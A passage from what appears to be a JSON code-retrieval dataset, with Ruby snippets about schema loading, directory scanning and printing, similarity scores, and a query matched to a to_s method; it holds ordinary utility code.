'subscriptionType'\n $subscription= v['name'] if v\n when 'directives'\n parse_directives v\n when 'types'\n parse_types_1 v\n else\n STDERR.puts \"Unrecognized schema element '#{k}'. This probably means that the parser file '#{$0}' needs to be updated to support it.\"\n exit 1\n end\n end\n\n # Now we are certain that $query/$mutation/$subscription are filled in.\n # They contain the names of types that serve as entry points into the respective parts of schema.\n if !$query; $log.fatal \"Did not find name of query entry in JSON schema; exiting.\"; exit 1 end\n if !$mutation; $log.fatal \"Did not find name of mutation entry in JSON schema; exiting.\"; exit 1 end\n if $subscription\n $log.error \"Found a 'subscription' entry point. Previously this wasn't present, so an update to '#{$0}' is needed to support it. For implementation, see existing implementations for queries and mutations; exiting.\"\n exit 1\n end\n\n # Let's now parse all types. This is the pass 2 of type parsing.\n parse_types_2 $schema['types']\n\n # And now we can output all files to disk.\n output_files()\n\n #pp $catalog\n puts \"Done. Methods: #{$catalog[:total]}.\"\n\n exit 0\nend", "def get_document_schema\n filePath = Rails.root.join(\"lib\", \"base_truevault_doc.json\")\n file = File.read(filePath)\n schema = JSON.parse(file).with_indifferent_access\n end", "def load_objects\n objects = []\n [@opts[:organization_data], @opts[:ticket_data], @opts[:user_data]]\n .zip(['organization', 'ticket', 'user'])\n .map do |file_paths, object_type|\n file_paths.each do |file_path|\n read_objects = JSON.parse File.read(file_path)\n read_objects.each { |o| o['_type'] = object_type }\n objects.concat read_objects\n end\n end\n return objects\n end", "def user_defined_schemas(stream)\n return if (list = (@connection.user_defined_schemas - ['public'])).empty?\n\n stream.puts \" # Custom schemas defined in this database.\"\n list.each { |name| stream.puts \" create_schema \\\"#{name}\\\", force: :cascade\" }\n stream.puts\n end", "def schema\n @schema ||= []\n end", "def rescan\n\n roots = MissingTypes::missing_roots\n types = MissingTypes::missing_types\n\n types.each_with_index do |missing, i|\n\n # if missing type itself contains missing items, we need to fix that root first !\n next if(MissingTypes::missing_root_key?( missing.type ) )\n\n # Clone missing type nodes as children of the composer.\n # TODO - Right now, flag no update MissingTypes and delete it from types regardless\n # if found or not to stop infinite recursion when Type never defined !\n # this is because we only check in memory - the single read_from_xsd,\n # so need better persistent mechanism to flag missing types to enable rescan\n # after another file read\n #\n clone_or_share_existing( missing.type, missing.composer, false)\n \n types.delete_at(i)\n\n # Decrement the missing root count, and delete all together once no nodes left\n roots.delete_if { |k,v| roots[k] = roots[k] - 1 if(k == missing.root); roots[k] == 0 }\n end \n \n # Try to ensure infinite loop not possible\n rescan unless(roots.nil? || roots.empty? || types.nil? || types.empty?)\n end", "def scan_dirs(extension,dir,syntax_regex)\n declarations = []\n\n Search.find_all(extension,dir,@excludes) do |path|\n declarations << scan_doc(path,syntax_regex)\n end\n\n declarations.flatten!.sort!.uniq! unless declarations.empty?\n declarations\n end", "def load_models(hash, namespaces = [])\n models = []\n\n # first handle all normal models\n if models_hash = hash[\"models\"]\n models_hash.each_pair do |model_name, model_properties|\n models << Model::Base.new(model_name, model_properties, :namespaces => namespaces, :reader => self)\n end\n end\n \n # go into recursion to handle the models under a namespace\n if found_namespaces = hash[\"namespaces\"]\n found_namespaces.each_pair do |namespace, models_under_namespace|\n models += load_models(models_under_namespace, namespaces + [namespace])\n end\n end\n\n models\n end", "def schemas(stream)\n # Don't create \"public\" schema since it exists by default.\n schema_names = PgPower::Tools.schemas - [\"public\", \"information_schema\"]\n schema_names.each do |schema_name|\n schema(schema_name, stream)\n end\n stream << \"\\n\"\n end", "def all\n @definitions ||= []\n end", "def populate_files(path:)\n files = list_files(path: path)\n populated = []\n files.each do |file|\n populated << Manifests::FileEntry.new(file: { filepath: IngestUtils.relative_path(file, path) })\n end\n populated\n end", "def discover_models\n all_models = []\n Dir.chdir(File.join(Rails.root, \"app/models\")) do\n Dir[\"**/*.rb\"].each do |m|\n class_name = m.sub(/\\.rb$/,\"\").camelize\n klass = class_name.split(\"::\").inject(Object){ |klass,part| klass.const_get(part) }\n all_models << \"#{class_name}\" if klass < ActiveRecord::Base && !klass.abstract_class?\n end\n end\n return all_models\n end", "def load_schemas\n\t\t\tschema_instructions = []\n\t\t\tschema_pi = self.find_all { |i| i.is_a? REXML::Instruction and i.target == 'xml:schema' }\n\t\t\tschema_pi.each do |i|\n\t\t\t\tif i.attributes.has_key?('url')\n i.attributes['source'] = i.attributes['url']\n elsif i.attributes.has_key?('source')\n i.attributes['url'] = i.attributes['source']\n else\n raise \"parse error schema instruction missing required url attribute\"\n end\n if i.attributes.has_key?('uri')\n i.attributes['space'] = i.attributes['uri']\n elsif i.attributes.has_key?('space')\n i.attributes['uri'] = i.attributes['space']\n else\n raise \"parse error schema instruction missing required type attribute\"\n end\n schema_instructions << i\n\t\t\tend\n\t\t\treturn schema_instructions\n\t\tend", "def all_data_dirs(path)\n each_data_dir(path).to_a\n end", "def load_schemes(workspace_dir_path)\n # Normalizes path to directory of workspace needed for file_reference.absolute_path\n workspaces_dir = workspace_dir_path\n if File.extname(workspace_dir_path) == '.xcworkspace'\n workspaces_dir = File.expand_path('..', workspaces_dir)\n end\n\n file_references.each do |file_reference|\n project_full_path = file_reference.absolute_path(workspaces_dir)\n load_schemes_from_project(project_full_path)\n end\n\n # Load schemes that are in the workspace container.\n workspace_abs_path = File.absolute_path(workspace_dir_path)\n Dir[File.join(workspace_dir_path, 'xcshareddata', 'xcschemes', '*.xcscheme')].each do |scheme|\n scheme_name = File.basename(scheme, '.xcscheme')\n @schemes[scheme_name] = workspace_abs_path\n end\n end", "def schema_contents\n File.read(schema_path)\n end", "def fetch_schema_by_id(schema_id)\n schema = @schemas_by_id.fetch(schema_id) do\n schema_json = @registry.fetch(schema_id)\n Avro::Schema.parse(schema_json)\n end\n [schema, schema_id]\n end", "def load_definitions()\n @cookbook_loader.each do |cookbook|\n hash = cookbook.load_definitions\n @definitions.merge!(hash)\n end\n true\n end", "def structure\n {\n domain_name: @name,\n schemas: @schemas.map(&:structure)\n }\n end", "def scan\n results = []\n dirs.each do |dir|\n files_in_dir = Dir.glob(File.join(dir,'**','*'))\n results.concat(files_in_dir)\n end\n @known_files = results\n end", "def scan_dirs(indir)\n @acs_dirs = {}\n Dir.chdir(indir)\n all_dirs = Dir.glob('*').select { |f| File.directory? f }\n all_dirs.each do |subdir|\n @acs_dirs[subdir] = HRRTACSDir.new(File.join(indir, subdir))\n @acs_dirs[subdir].create_hrrt_files\n end\n end", "def read(schema, version)\n schema = schema.to_sym\n return registry[version][schema] if registry[version] && registry[version][schema]\n # prefix version with v1.0 of v is not present\n v = (version =~ /^v/) ? version : \"v#{version}\"\n registry[v] = {} unless registry[v]\n # read schema from file\n file_path = File.join(File.dirname(__FILE__), '../json', v, \"#{schema}.json\")\n plain_data = File.open(file_path, 'r'){|f| f.read}\n # remember & return\n registry[v][schema] = ActiveSupport::JSON.decode(plain_data).with_indifferent_access\n end", "def load_factories\n Refinery.extensions.each do |extension_const|\n if extension_const.respond_to?(:factory_paths)\n extension_const.send(:factory_paths).each do |path|\n FactoryBot.definition_file_paths << path\n end\n end\n end\n FactoryBot.find_definitions\n end", "def scan_definition_dir(def_dir = @definition_dir, nest_level = 0)\n def_scan_pattern = def_dir.join(\"*#{DEFINITION_EXT}\")\n dir_scan_pattern = def_dir.join('*')\n\n Pathname.glob(def_scan_pattern).select(&:file?).select(&:readable?).each do |file|\n definition = DefinitionTranslator.parse_definition(read_definition(file))\n def_name = definition.structure[Constants::NAME]\n\n @definitions[def_name] = file.to_s unless def_name.nil? || @definitions.contains?(def_name)\n end\n\n unless nest_level >= ConfigurationService.instance.max_directory_nesting\n Pathname.glob(dir_scan_pattern).select(&:directory?).select(&:readable?).each do |dir|\n unless %w(. ..).include?(dir.to_s)\n scan_definition_dir(dir, nest_level + 1)\n end\n end\n end\n end", "def search_schemas(opts = {})\n data, _status_code, _headers = search_schemas_with_http_info(opts)\n return data\n end", "def all_data_files(path)\n each_data_file(path).to_a\n end", "def load_factories\n absolute_factories_paths.each do |path|\n load_factories_if_file(path)\n load_factories_if_directory(path)\n end\n end", "def documents\n document_entries.map{ |f| FileObject[path, f] }\n end", "def generate(path, name)\n object = get_object(path)\n\n type = object[TYPE_KEY]\n if type == OBJECT_TYPE\n generate_object(path, name)\n\n elsif type == ARRAY_TYPE\n generate_top_level_array(path)\n\n elsif type.is_a?(Array)\n if type.include?(OBJECT_TYPE)\n raise UnsupportedSchemaError if type.include?(ARRAY_TYPE)\n generate_object(path, name)\n\n elsif type.include?(ARRAY_TYPE)\n generate_top_leve_array(path)\n\n else raise UnsupportedSchemaError; end\n else raise UnsupportedSchemaError; end\n end", "def list(path='root')\n puts \"#list('#{path}')\"\n listed_files =[]\n @drive.folder = path\n children = @drive.children\n list_files_metadata(children)\n raise 'There are no files in directory' if children.count < 1\n children.each do |item|\n listed_files << \"#{item.path.gsub('/drive/', 'drive/')}/#{item.name}\" unless item.folder?\n end\n @logger.info 'Children list acquired.'\n pp listed_files\n end", "def documents_for(path, site_path = '')\n ethon = ethon_easy_json_requester\n ethon.url = \"#{computed_web_api_url(site_path)}GetFolderByServerRelativeUrl('#{uri_escape path}')/Files\"\n ethon.perform\n check_and_raise_failure(ethon)\n\n threads = []\n rv = []\n result = JSON.parse( ethon.response_body )\n result['d']['results'].each do |file|\n file_struct = OpenStruct.new(\n title: file['Title'],\n path: file['ServerRelativeUrl'],\n name: file['Name'],\n url: \"#{base_url}#{file['ServerRelativeUrl']}\",\n created_at: Time.parse(file['TimeCreated']),\n updated_at: Time.parse(file['TimeLastModified']),\n record_type: nil,\n date_of_issue: nil,\n )\n\n threads << Thread.new {\n ethon2 = ethon_easy_json_requester\n server_relative_url = \"#{site_path}#{path}/#{file['Name']}\"\n ethon2.url = \"#{computed_web_api_url(site_path)}GetFileByServerRelativeUrl('#{uri_escape server_relative_url}')/ListItemAllFields\"\n ethon2.perform\n rs = JSON.parse(ethon2.response_body)['d']\n file_struct.record_type = rs['Record_Type']\n file_struct.date_of_issue = rs['Date_of_issue']\n\n rv << file_struct\n }\n end\n threads.each { |t| t.join }\n rv\n end", "def metadata_paths(path)\n arr = []\n @metadata_tree.with_subtree(path, nil, nil, nil) do |node|\n arr << node.doc_path\n end\n arr\n end", "def each_object_path (path=@basepath, &block)\n\n Find.find(path) do |p|\n\n next unless File.exist?(p)\n next if File.stat(p).directory?\n #next unless OpenWFE::ends_with(p, '.yaml')\n next if p[-5..-1] != '.yaml'\n\n #ldebug { \"each_object_path() considering #{p}\" }\n block.call(p)\n end\n end", "def populate\n # Generate top-level modules, which recurses to all modules\n YARD::Registry.root.children\n .select { |x| [:class, :module].include?(x.type) }\n .each { |child| add_namespace(child) }\n end", "def generate_classes(schema_path=nil, module_path=nil)\n class_dir = @basedir\n modname = module_path\n unless module_path.nil?\n class_dir = File.join(class_dir, module_path) \n modname = modname.gsub(File::SEPARATOR, \"::\")\n modname = modname.gsub(/^[a-z]|\\s+[a-z]|\\:\\:+[a-z]/) { |a| a.upcase }\n end\n \n Dir.mkdir(class_dir) unless File.exist? class_dir\n \n\n \n schema_path ||= @schema_path \n \n Dir.foreach(schema_path) do |file_name|\n full_name = File.join(schema_path,file_name)\n #when file is a directory\n #generate classes in module (recursive)\n if File.directory?(full_name) and not file_name[0..0] == \".\" \n #make directory for future class files\n module_pth = file_name\n module_pth = File.join(module_path, module_pth) unless module_path.nil?\n \n generate_classes(full_name, module_pth)\n # for XSD files generate classes using XSD2Ruby\n elsif /.*.xsd/ =~ file_name\n run_xsd2ruby(full_name, file_name, module_path, modname)\n @mapper_scripts << class_dir + File::SEPARATOR + file_name[0..-5] + \"_mapper.rb\"\n end\n end\n end", "def load_all\n load_cache\n\n module_names.each do |module_name|\n mod = find_class_or_module(module_name) || load_class(module_name)\n\n # load method documentation since the loaded class/module does not have\n # it\n loaded_methods = mod.method_list.map do |method|\n load_method module_name, method.full_name\n end\n\n mod.method_list.replace loaded_methods\n\n loaded_attributes = mod.attributes.map do |attribute|\n load_method module_name, attribute.full_name\n end\n\n mod.attributes.replace loaded_attributes\n end\n\n all_classes_and_modules.each do |mod|\n descendent_re = /^#{mod.full_name}::[^:]+$/\n\n module_names.each do |name|\n next unless name =~ descendent_re\n\n descendent = find_class_or_module name\n\n case descendent\n when RDoc::NormalClass then\n mod.classes_hash[name] = descendent\n when RDoc::NormalModule then\n mod.modules_hash[name] = descendent\n end\n end\n end\n\n @cache[:pages].each do |page_name|\n page = load_page page_name\n @files_hash[page_name] = page\n @text_files_hash[page_name] = page if page.text?\n end\n end", "def scan\n glob = File.join(\"**\", Command::FILENAME)\n\n commands = load_path.flat_map do |path|\n path = Pathname.new(path)\n\n path.glob(glob).map do |file|\n root = file.dirname\n name = root.relative_path_from(path)\n name = name.to_s.tr(File::SEPARATOR, Command::SEPARATOR)\n build(name, root.to_s)\n end\n end\n\n commands.sort_by(&:name)\n end", "def index\n @schemas = Schema.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @schemas }\n end\n end", "def get_json_searchers\n Dir[File.expand_path(File.join(ROOT_PATH, 'resources','*.json'))].inject({}) do |json_searchers, file_path|\n json_searcher = JsonSearcher.new(file_path: file_path) rescue nil\n json_searchers[json_searcher.name] = json_searcher if json_searcher\n json_searchers\n end\n end", "def objects_hierarchy_at(path:)\n return [] if path.nil?\n\n nodes = @roots\n\n path.inject([]) { |hierarchy, index|\n node = nodes[index]\n\n hierarchy << node.value\n\n nodes = node.children\n\n hierarchy\n }\n end", "def all_dict(subdir='')\n packages_dir = Dir.new(File.join(@path, subdir))\n package_list = {}\n\n packages_dir.each do |entry|\n full_path = File.join(packages_dir.path, entry)\n\n next if entry =~ /^\\./\n\n package_list[entry] = {\n 'name' => entry,\n 'path' => full_path\n }\n\n if File.directory? full_path\n children = Dir.entries(full_path).reject do |name|\n name[0] == '.'\n end\n\n stats = File.lstat(full_path)\n\n package_list[entry]['items'] = children.count\n package_list[entry]['size'] = stats.size\n end\n end\n\n package_list\n end", "def generate_listing(path)\n client\n listing = client.list_objects(bucket: config[:bucket], delimiter: '/', prefix: full_path(path))\n add_directories(listing)\n add_files(listing, path)\n end", "def generate_definitions_list\n definitions = YARD::Registry.all(:definition).uniq.sort_by{|define| define.name.to_s}\n generate_full_list(definitions, 'Definition', 'definitions')\nend", "def load_schema!\n fetch_data unless data_fetched?\n @types = Ken::Collection.new(@data[\"ken:type\"].map { |type| Ken::Type.new(type) })\n @schema_loaded = true\n end", "def doc_resources(path, &block)\n res = @content_tree.resources(path)\n block.call(res) if block_given?\n res\n end", "def load_factories_if_directory(path)\n if File.directory?(path)\n Dir[File.join(path, '**', '*.rb')].sort.each { |file| Kernel.load file }\n end\n end", "def search_schemas(opts = {})\n data, _status_code, _headers = search_schemas_with_http_info(opts)\n data\n end", "def lookup(path, ctype=nil, recursive=false, path_only=true, dirs=false)\n # TODO : this might need to be changed as it returns dir and contents\n # if there are contents\n entries = []\n prune = recursive ? nil : 2\n @content_tree.with_subtree(path, ctype, prune, dirs) do |node|\n entries << [node.node_type, (path_only ? node.path : node)]\n end\n entries\n end", "def resolve\n if !refs.nil? and refs.select { |ref| File.file? ref }.any?\n paths = refs.select { |ref| File.file? ref }.map { |path| File.expand_path(path) }\n elsif refs and refs.kind_of? Array\n paths, gems = GemsResolver.new(refs).call\n else\n paths = Dir.glob(File.join(\".\", \"lib/**/*.rb\")).map { |path| File.expand_path(path) }\n end\n\n { paths: paths, gems: gems || [] }\n end", "def path_and_definition_objects(namespace_routes, options)\n @paths = {}\n @definitions = {}\n add_definitions_from options[:models]\n namespace_routes.each_value do |routes|\n path_item(routes, options)\n end\n\n [@paths, @definitions]\n end", "def expand_path(path)\n return [] if path.start_with?('/**')\n\n begin\n if path.include?('*')\n return Dir.glob(path)\n else\n return [path]\n end\n rescue\n Puppet.debug(\"incron_system_table: Error occurred processing '#{path}': #{e}\")\n return []\n end\n end", "def jsonschemas\n schemas = {}\n steps.collect(&:jsonschema).each do |s|\n schemas.merge!(s['properties']) unless s.nil?\n end\n return schemas.stringify_keys\n end", "def findAll\n # returns the definitions as an array of definition hashes inside the hash for the individual words\n MinWords::DB[:words].all.map {|e| e.merge({ definitions: definitions(e)}) }\n end", "def get_folders(path = \".\")\n @@FOLDER.clear\n if File.absolute_path(path) == Dir.pwd\n populate_folders()\n elsif File.directory?(path)\n Dir.chdir path\n populate_folders()\n else\n return \"Path is not a folder\"\n raise IOError\n end\n\n end", "def load_libs\n loadQueue = []\n Pathname.glob './lib/*.rb' do |script|\n require script.to_s\n scriptfolder = Pathname.new(script.to_s.gsub('.rb', ''))\n next if not scriptfolder.directory?\n\n loadQueue += scriptfolder.children(true).find_all {|file| file.to_s[-3..-1] == '.rb'}\n end\n \n # load the children\n loadQueue.each {|file| require file.to_s }\n end", "def create_definition_files(folder)\n return unless File.directory? folder\n hash = Hash.new { |h, k| h[k] = [] }\n Dir.glob(\"#{definitions_dir}/**/*.json\").map do |f|\n filename = File.basename(f, '.*').to_s\n hash[filename] << [name: '', file: '']\n end\n save 'models', hash\n end", "def definitions(*directories)\n directories.empty? ? @definitions : @definitions = directories\n end", "def aggregate_schema(type, write: false)\n in_dir, out_dir = get_dirs(type)\n jsons = aggregate(in_dir)\n schema = Convert.jsons_to_schema(jsons)\n\n if write\n path = \"#{out_dir}/schema-#{Time.current.strftime('%s%2N')}.json\"\n File.write(path, JSON.pretty_generate(schema))\n end\n\n schema\n end", "def load_objects(dir_name, klass)\n all_base_filenames_in(dir_name).map do |base_filename|\n load_object(dir_name, base_filename, klass)\n end\n end", "def refresh_schema\n namespace = OData::NAMESPACE\n schema = OData::ActiveRecordSchema::Base\n .new(namespace, skip_require: true,\n skip_add_entity_types: true,\n transformers: {\n root: ->(*args) { transform_json_for_root(*args) },\n metadata: ->(*args) { transform_schema_for_metadata(*args) },\n feed: ->(*args) { transform_json_for_collection(*args) },\n entry: ->(*args) { transform_json_for_entry(*args) }\n })\n\n add_entity_types(schema, distinct_forms)\n\n ODataController.data_services.clear_schemas\n ODataController.data_services.append_schemas([schema])\n end", "def list(path=nil)\n remote_path = list_path(path)\n begin\n folder = @client.folder(remote_path)\n raise Error if folder.nil?\n folder.items.map do |elem|\n {\n name: elem.name,\n path: \"#{remote_path}/#{elem.name}\",\n type: elem.type\n }\n end\n rescue RubyBox::AuthError\n box_error\n end\n end", "def get_schemas(tag, sname, node, attrs)\n begin\n engine = Marty::ScriptSet.new(tag).get_engine(sname+'Schemas')\n result = engine.evaluate_attrs(node, attrs, {})\n attrs.zip(result)\n rescue => e\n use_message = e.message == 'No such script' ?\n 'Schema not defined' : 'Problem with schema'\n raise \"Schema error for #{sname}/#{node} \"\\\n \"attrs=#{attrs.join(',')}: #{use_message}\"\n end\n end", "def installed_docs\n extra_counter = 0\n ri_paths.map do |path, type|\n store = RDoc::Store.new path, type\n exists = File.exist? store.cache_path\n\n case type\n when :gem then\n gem_path = path[%r%/([^/]*)/ri$%, 1]\n [gem_path, \"#{gem_path}/\", exists, type, path]\n when :system then\n ['Ruby Documentation', 'ruby/', exists, type, path]\n when :site then\n ['Site Documentation', 'site/', exists, type, path]\n when :home then\n ['Home Documentation', 'home/', exists, type, path]\n when :extra then\n extra_counter += 1\n store.load_cache if exists\n title = store.title || \"Extra Documentation\"\n [title, \"extra-#{extra_counter}/\", exists, type, path]\n end\n end\n end", "def definitions() return @definitions end", "def all_collections()\n collections = []\n DrgCms.paths(:forms).each do |path|\n models_dir = File.expand_path(\"../models\", path)\n Dir[\"#{models_dir}/*.rb\"].each do |model_file| \n collection_name = determine_model_name(model_file)\n collections << collection_name if collection_name\n end\n end\n collections.sort\nend", "def get_resources\n init_folder unless @init # have I been initialized?\n return @resources \n end", "def _folders\r\n Dir.glob(File.join(\"templates\", \"**/\"))\r\n end" ]
[ "0.7620456", "0.7197721", "0.6732453", "0.6582576", "0.6375825", "0.6230478", "0.6207903", "0.60985315", "0.60227495", "0.59406567", "0.59406567", "0.5905173", "0.5891718", "0.5759424", "0.5728217", "0.5716922", "0.561308", "0.5540385", "0.5516461", "0.5498072", "0.5477079", "0.5458705", "0.54425204", "0.542567", "0.5421802", "0.5410831", "0.53704786", "0.5360876", "0.5345427", "0.5335576", "0.53220063", "0.53045386", "0.53042686", "0.52892476", "0.52759767", "0.52549255", "0.5252829", "0.5233415", "0.5209005", "0.5194173", "0.5186528", "0.5173583", "0.517107", "0.5168966", "0.51597327", "0.5147345", "0.51441926", "0.5141006", "0.51287884", "0.5122259", "0.50959677", "0.50560623", "0.50517297", "0.5051474", "0.5049774", "0.50412166", "0.5039102", "0.50322455", "0.5029649", "0.50293475", "0.5020964", "0.5018273", "0.5017851", "0.5017161", "0.50108725", "0.5010667", "0.5005681", "0.5000614", "0.49998444", "0.49939388", "0.49832955", "0.49768063", "0.49742028", "0.49742007", "0.49733886", "0.49701998", "0.49666536", "0.49661037", "0.4963661", "0.4959806", "0.49595526", "0.49516416", "0.49485067", "0.4945669", "0.49434066", "0.49432266", "0.49367863", "0.49263877", "0.4920855", "0.4912386", "0.49071965", "0.4902822", "0.49009567", "0.4886322", "0.4886302", "0.48857093", "0.48822615", "0.4872856", "0.4871702", "0.4869747" ]
0.75102854
1
Print something palatable when we're called in a string context.
def to_s fullname = "#{self.class.shortname}" if [email protected]? and [email protected]_name.nil? @mu_name ||= @cloudobj.mu_name end if !@mu_name.nil? and !@mu_name.empty? fullname = fullname + " '#{@mu_name}'" end if !@cloud_id.nil? fullname = fullname + " (#{@cloud_id})" end return fullname end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_good(string)\n\tputs \"[*] \".light_green + \"#{string}\".white\nend", "def print\n puts string\n end", "def safe_print(text, color=nil)\n CLIColorize.safe_print(text, color)\n end", "def print_something(string)\n puts string\nend", "def print_caution(string)\n\tputs \"[*] \".light_yellow + \"#{string}\".white\nend", "def print_caution(string)\n\tprint \"[*]\".light_yellow + \" #{string}\\n\".white\nend", "def checked_puts object = ''\n real_puts object\n @prev_printed = false\n end", "def printstring(r,c,string, color, att = Ncurses::A_NORMAL)\n prv_printstring(r,c,string, color, att )\n end", "def checked_print object = ''\n print object\n @prev_printed = true\n end", "def puts(str)\nend", "def p(string, text_color = 'cyan') \n string = string.to_s if !string.is_a? String\n puts string.send(text_color)\n end", "def message(string)\n puts\n puts \"[#{colorize(\"--\", \"blue\")}] #{ string }\"\nend", "def prv_printstring(r,c,string, color, att = Ncurses::A_NORMAL)\n\n #$log.debug \" #{@name} inside window printstring r #{r} c #{c} #{string} \"\n att = Ncurses::A_NORMAL if att.nil? \n case att.to_s.downcase\n when 'normal'\n att = Ncurses::A_NORMAL\n when 'underline'\n att = Ncurses::A_UNDERLINE\n when 'bold'\n att = Ncurses::A_BOLD\n when 'blink'\n att = Ncurses::A_BLINK # unlikely to work\n when 'reverse'\n att = Ncurses::A_REVERSE \n end\n\n attron(Ncurses.COLOR_PAIR(color) | att)\n # we should not print beyond window coordinates\n # trying out on 2009-01-03 19:29 \n width = Ncurses.COLS\n # the next line won't ensure we don't write outside some bounds like table\n #string = string[0..(width-c)] if c + string.length > width\n #$log.debug \"PRINT len:#{string.length}, #{Ncurses.COLS}, #{r}, #{c} w: #{@window} \"\n mvprintw(r, c, \"%s\", string);\n attroff(Ncurses.COLOR_PAIR(color) | att)\n end", "def pretty_print\n @word_display.each do |letter|\n print \"#{letter} \"\n end\n puts \"\"\n end", "def print\n return ''\n end", "def puts(string)\n print \"#{string}\\n\"\nend", "def puts str\n %s(puts (callm str __get_raw))\n end", "def pass\n checked_print ?.\n end", "def print\n puts \"#{name} #{class_name} just #{movement} and said, \\\"#{call}\\\"\"\n end", "def success(string)\n puts\n puts \"[#{colorize(\"OK\", \"green\")}] #{ string }\"\nend", "def puts! arg, label=''\n puts \"+++ +++ #{label}\"\n puts arg.inspect\nend", "def generate_print (node)\n\tchild = node.children[0]\n\n\t# string symbol\n\tif child.symbol != nil and child.symbol.type == \"string\"\n\t\t\tputs \"Generating a nice print with a string symbol...\"\n\n\t\tldx(\"02\")\n\t\tldy($static_table.get(child.symbol).address)\n\t\tsys\n\t# normal string\n\telsif child.token != nil and child.token.type == \"T_STRING\" and child.symbol == nil\n\t\t\tputs \"Generating a nice print with a string...\"\n\n\t\taddress = $code.add_string(child.name)\n\t\tlda(hex_converter(address, 2))\n\t\tsta\n\t\tldx(\"02\")\n\t\tldy\n\t\tsys\n\telse\n\t\tputs \"Generating a nice print with a non-string...\"\n\n\t\tgenerate(child)\n\t\tldx(\"01\")\n\t\tsta\n\t\tldy\n\t\tsys\n\t\t\n\tend\n\nend", "def print_bad( str = '' )\n push_to_output_buffer( bad: str )\n end", "def puts object = ''\n TetCore.break_after_print\n TetCore.real_puts(object)\nend", "def shout(str)\n puts str\n end", "def output_word\n puts @displayed_character.join('')\n end", "def yy_displayed(string)\n if string.length == 1 then\n char = string[0]\n char_code = char.ord\n case char_code\n when 0x00...0x20, 0x2028, 0x2029 then %(#{yy_unicode_s char_code})\n when 0x20...0x80 then %(\"#{char}\")\n when 0x80...Float::INFINITY then %(\"#{char} (#{yy_unicode_s char_code})\")\n end\n else\n %(\"#{string}\")\n end\n end", "def plain(str, opts = { print: true })\n print_or_return(str.to_s, opts[:print])\n end", "def print *s\n s.each do |_|\n Lib.g_application_command_line_print self.ffi_pointer, _.to_s+\"\\n\"\n end\n end", "def print_one(thing)\n\tputs \"thing: #{thing}\"\nend", "def print(s)\n wipe\n scope.output.call(s)\n end", "def print_status(string)\n\tputs \"[*] \".light_blue + \"#{string}\".white\nend", "def printstr(pad, r,c,string, color, att = Ncurses::A_NORMAL)\n\n #att = bold ? Ncurses::A_BLINK|Ncurses::A_BOLD : Ncurses::A_NORMAL\n # att = bold ? Ncurses::A_BOLD : Ncurses::A_NORMAL\n pad.attrset(Ncurses.COLOR_PAIR(color) | att)\n #pad.mvprintw(r, c, \"%s\", string);\n pad.mvaddstr(r, c, \"%s\" % string);\n pad.attroff(Ncurses.COLOR_PAIR(color) | att)\nend", "def printf(s) ! Void\n typedecl s: String, foreign: Void\n puts s\n end", "def puts(str='')\n output(str)\n end", "def print_name(name)\n p \"Albus Dumbledore\"\nend", "def what_a_quitter\n puts printer.admonishment\n end", "def output(o);printf o;end", "def print_in_box(string)\n horizontal_rule = \"+#{'-' * (string.length + 2)}+\"\n empty_line = \"|#{' ' * (string.length + 2)}|\"\n puts horizontal_rule\n puts empty_line\n puts \"| #{string} |\"\n puts empty_line\n puts horizontal_rule\nend", "def print o\n case o\n when \".\" then\n io.print pride o\n when \"E\", \"F\" then\n io.print \"#{ESC}41m#{ESC}37m#{o}#{NND}\"\n when \"S\" then\n io.print pride o\n else\n io.print o\n end\n end", "def reputs(str = '')\n puts \"\\e[0K\" + str\nend", "def print_ascii_brand\n\tputs \" ____ _ \"\n\tputs \" | _ \\\\ | | \"\n\tputs \" | |_) |_ __ __ _ _ __ __| |___ \"\n\tputs \" | _ <| '__/ _` | '_ \\\\ / _` / __| \"\n\tputs \" | |_) | | | (_| | | | | (_| \\\\__ \\\\\"\n\tputs \" |____/|_| \\\\__,_|_| |_|\\\\__,_|___/\"\n\tputs \" \"\nend", "def show_word\n print \"The word was: #{@word} \\n\"\n puts \"\\n\"\n end", "def scream(word)\n word = word + \"!!!\"\n return puts \"#{word}\" #<--------\nend", "def print_name(name)\n p \"#{name} is my name.\"\nend", "def title(string)\n puts\n puts yellow(string)\n puts '-' * 80\nend", "def title(string)\n puts\n puts yellow(string)\n puts '-' * 80\nend", "def printf(format_string,*args,**opts)\n stdout = opts.fetch(:out, $stdout)\n\n # Sanitize rule symbols\n sanitized = format_string.dup\n @rules.keys.each { |k| sanitized.gsub!(\"#{@symbols.rule}#{k.to_s}\",\"#{255.chr}#{k.to_s}\") }\n sanitized.gsub!(@symbols.reset, 255.chr*2)\n\n t = sanitized % args\n # Reinstate rule symbols\n @rules.keys.each { |k| t.gsub!(\"#{255.chr}#{k.to_s}\",\"#{@symbols.rule}#{k.to_s}\") }\n t.gsub!(255.chr*2,@symbols.reset)\n\n stdout.print apply(t)\n end", "def print_temp\n print to_string\n end", "def debug_prompt\n\t\t_fmt(:white, super)\n\tend", "def display_to_user(string)\n puts score_display(@score, @difficulty)\n random_cursor(@height, @width)\n round_typer(string, @difficulty)\n string_flasher(string, @difficulty, @height, @width, @score)\n end", "def print_name(name)\n p \"Get out of my house #{name}!\"\nend", "def title(string)\n puts\n puts yellow(string)\n puts \"-\" * 80\nend", "def basic_feature(str)\n\tputs str + \" \" + str\n\tputs str * 3\n\tputs \"1\" + \"2\"\n\tputs \"1\" * 2\n\tputs str.size\n\tputs str.length\n\tputs str.capitalize\n\tputs str.reverse\n\tputs str.upcase\n\tputs str.downcase\n\tputs str.swapcase\nend", "def print_in_box(string)\r\n print \"+\" + (\"-\" * (string.length + 4)) + \"+\" + \"\\n\"\r\n print \"|\" + (\" \" * (string.length + 4)) + \"|\" + \"\\n\"\r\n print \"|\" + (\" \" * (string.length + 4)) + \"|\" + \"\\n\"\r\n print \"|\" + (\" \" * 2) + string + (\" \" * 2) + \"|\" + \"\\n\"\r\n print \"|\" + (\" \" * (string.length + 4)) + \"|\" + \"\\n\"\r\n print \"|\" + (\" \" * (string.length + 4)) + \"|\" + \"\\n\"\r\n print \"+\" + (\"-\" * (string.length + 4)) + \"+\" + \"\\n\"\r\nend", "def display_string\r\n puts \"Welcome to Ruby Fundamentals\" \r\nend", "def print_ok( str = '' )\n push_to_output_buffer( ok: str )\n end", "def simple(type, str)\n str = encode_str(str ||= \"\")\n type == :stderr ? @stderr.print(str) : \\\n @stdout.print(str)\n end", "def print(string, options = {})\n return if silent?\n (options[:output] || output).print self.format(string, options)\n end", "def print_in_box(string)\n length = string.length\n upper_lower_box = \"\"\n 